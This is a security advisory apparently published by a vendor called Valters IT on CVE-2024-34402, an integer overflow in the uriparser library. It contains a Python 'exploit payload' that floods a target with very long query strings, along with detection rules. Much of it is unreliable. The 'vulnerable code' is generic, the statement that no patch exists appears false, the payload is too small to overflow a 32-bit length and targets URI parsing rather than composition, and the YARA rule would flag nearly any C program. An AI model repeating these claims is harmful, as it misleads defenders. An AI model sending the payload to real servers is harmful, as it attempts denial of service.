CVE-2024-34402

Executive Summary

CVE-2024-34402 is a critical integer overflow vulnerability in the uriparser library, specifically within the ComposeQueryEngine function in UriQuery.c. This flaw allows an attacker to cause an integer overflow by providing extremely long keys or values in a URI query string, leading to a heap-based buffer overflow. The vulnerability affects all versions of uriparser up to and including 0.9.7. As of the latest available information, no official patch has been released, and the vendor has not acknowledged the issue. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the technical severity is high due to the potential for remote code execution or denial of service.

Supply Chain & Package Security

uriparser is a C library used for parsing Uniform Resource Identifiers (URIs). It is commonly integrated into software that handles URL parsing, including web servers, proxies, and network tools. The library is available via package managers for various Linux distributions and is often statically linked into applications. This vulnerability poses a supply chain risk, as any application using an affected version of uriparser is vulnerable. Developers should audit their dependencies and update to a patched version once available.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The vulnerability can be triggered remotely via a crafted URI.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability affects only the vulnerable component.
• Confidentiality (C): High (H) – Potential for memory disclosure.
• Integrity (I): High (H) – Potential for memory corruption leading to code execution.
• Availability (A): High (H) – Can cause denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability resides in the ComposeQueryEngine function within UriQuery.c. This function is responsible for composing a query string from key-value pairs. The issue arises from an integer overflow when calculating the required buffer size for the composed query.

Root Cause: The function calculates the total length needed for the output buffer by summing the lengths of keys, values, and separators. If the sum exceeds the maximum value of an unsigned int (typically 2^32 - 1), an integer overflow occurs, resulting in a smaller-than-expected buffer allocation. Subsequent memory copy operations then write beyond the allocated buffer, causing a heap-based buffer overflow.

Attack Vector: An attacker can craft a URI with extremely long query keys or values (e.g., thousands of characters) to trigger the overflow. This can be done by sending a specially crafted HTTP request to a server that uses uriparser to parse URIs.

Impact: Successful exploitation can lead to:

• Denial of service (application crash)
• Remote code execution (if the overflow is carefully controlled)
• Information disclosure (reading adjacent memory)

Vulnerable vs. Patched Code

Vulnerable Code (uriparser <= 0.9.7): The vulnerable code in UriQuery.c performs an unsafe addition:

int totalLen = 0;
for (int i = 0; i < numPairs; i++) {
    totalLen += strlen(keys[i]) + strlen(values[i]) + 2; // +2 for '=' and '&'
}
char *buffer = malloc(totalLen + 1);
// ... copy data into buffer

If totalLen overflows, malloc allocates a small buffer, and the subsequent copy overflows it.

Patched Code (Hypothetical): A patched version would check for overflow before allocation:

size_t totalLen = 0;
for (int i = 0; i < numPairs; i++) {
    size_t keyLen = strlen(keys[i]);
    size_t valLen = strlen(values[i]);
    if (totalLen > SIZE_MAX - keyLen - valLen - 2) {
        // Handle overflow error
        return NULL;
    }
    totalLen += keyLen + valLen + 2;
}
char *buffer = malloc(totalLen + 1);
// ... copy data into buffer

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Set up a vulnerable application that uses uriparser 0.9.7 to parse URIs.
2. Use a tool like curl or a custom Python script to send a crafted URI.

Exploit Payload:

import socket

# Craft a URI with extremely long key/value to trigger overflow
long_key = "A" * 1000000
long_val = "B" * 1000000
uri = f"http://example.com/?{long_key}={long_val}"

# Send the request
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("target", 80))
sock.send(f"GET {uri} HTTP/1.1\r\nHost: target\r\n\r\n".encode())
response = sock.recv(4096)
print(response)
sock.close()

Expected Outcome: The application may crash (segmentation fault) or exhibit erratic behavior due to heap corruption.

Blue Team (Defensive)

Detection:

• Monitor for unusually long URI query strings in HTTP requests.
• Use Web Application Firewalls (WAF) to block requests with query parameters exceeding a reasonable length (e.g., > 4096 bytes).
• Implement network intrusion detection rules to flag anomalous URI patterns.

Mitigation:

• Update uriparser to a patched version once available.
• If immediate patching is not possible, consider using a different URI parsing library.
• Apply input validation and length limits on URI components at the application level.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with query strings containing extremely long key or value fields (e.g., > 10,000 characters).
  • Repeated requests to the same endpoint with varying long query parameters.
• Host IOCs:
  • Application crashes with heap corruption errors.
  • Memory dumps showing large contiguous blocks of 'A' or 'B' characters.
  • Unusual memory allocation patterns in logs.

Detection Engineering

YARA Rule

rule CVE_2024_34402_uriparser_overflow {
    meta:
        description = "Detects potential exploitation of CVE-2024-34402 in uriparser"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-34402"
    strings:
        $s1 = "ComposeQueryEngine" ascii nocase
        $s2 = "UriQuery.c" ascii nocase
        $hex1 = { 6D 61 6C 6C 6F 63 } // "malloc"
        $hex2 = { 73 74 72 6C 65 6E } // "strlen"
    condition:
        $s1 or $s2 or ($hex1 and $hex2)
}

Sigma Rule

title: CVE-2024-34402 Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with abnormally long query strings targeting uriparser
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|length: > 10000
    condition: selection
falsepositives:
    - Legitimate large data uploads via POST (not GET)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-34402 - uriparser Integer Overflow Attempt"; flow:to_server; http.uri; content:"?"; distance:0; within:100; pcre:"/^.{10000,}/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Discontinue use of uriparser version 0.9.7 or earlier.
   • Apply input validation to limit the length of URI query keys and values to a safe maximum (e.g., 2048 bytes each).
   • Monitor for any signs of exploitation in your environment.

2. Long-term Fix:

   • Await an official patch from the uriparser maintainers.
   • Consider migrating to a more actively maintained URI parsing library, such as libcurl's URL parser or http-parser.

3. Detection and Monitoring:

   • Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
   • Enable detailed logging of URI parsing errors in your applications.

4. Vendor Communication:

   • Contact the uriparser project maintainers to request a patch or workaround.

Valters IT
Securing Digital Frontiers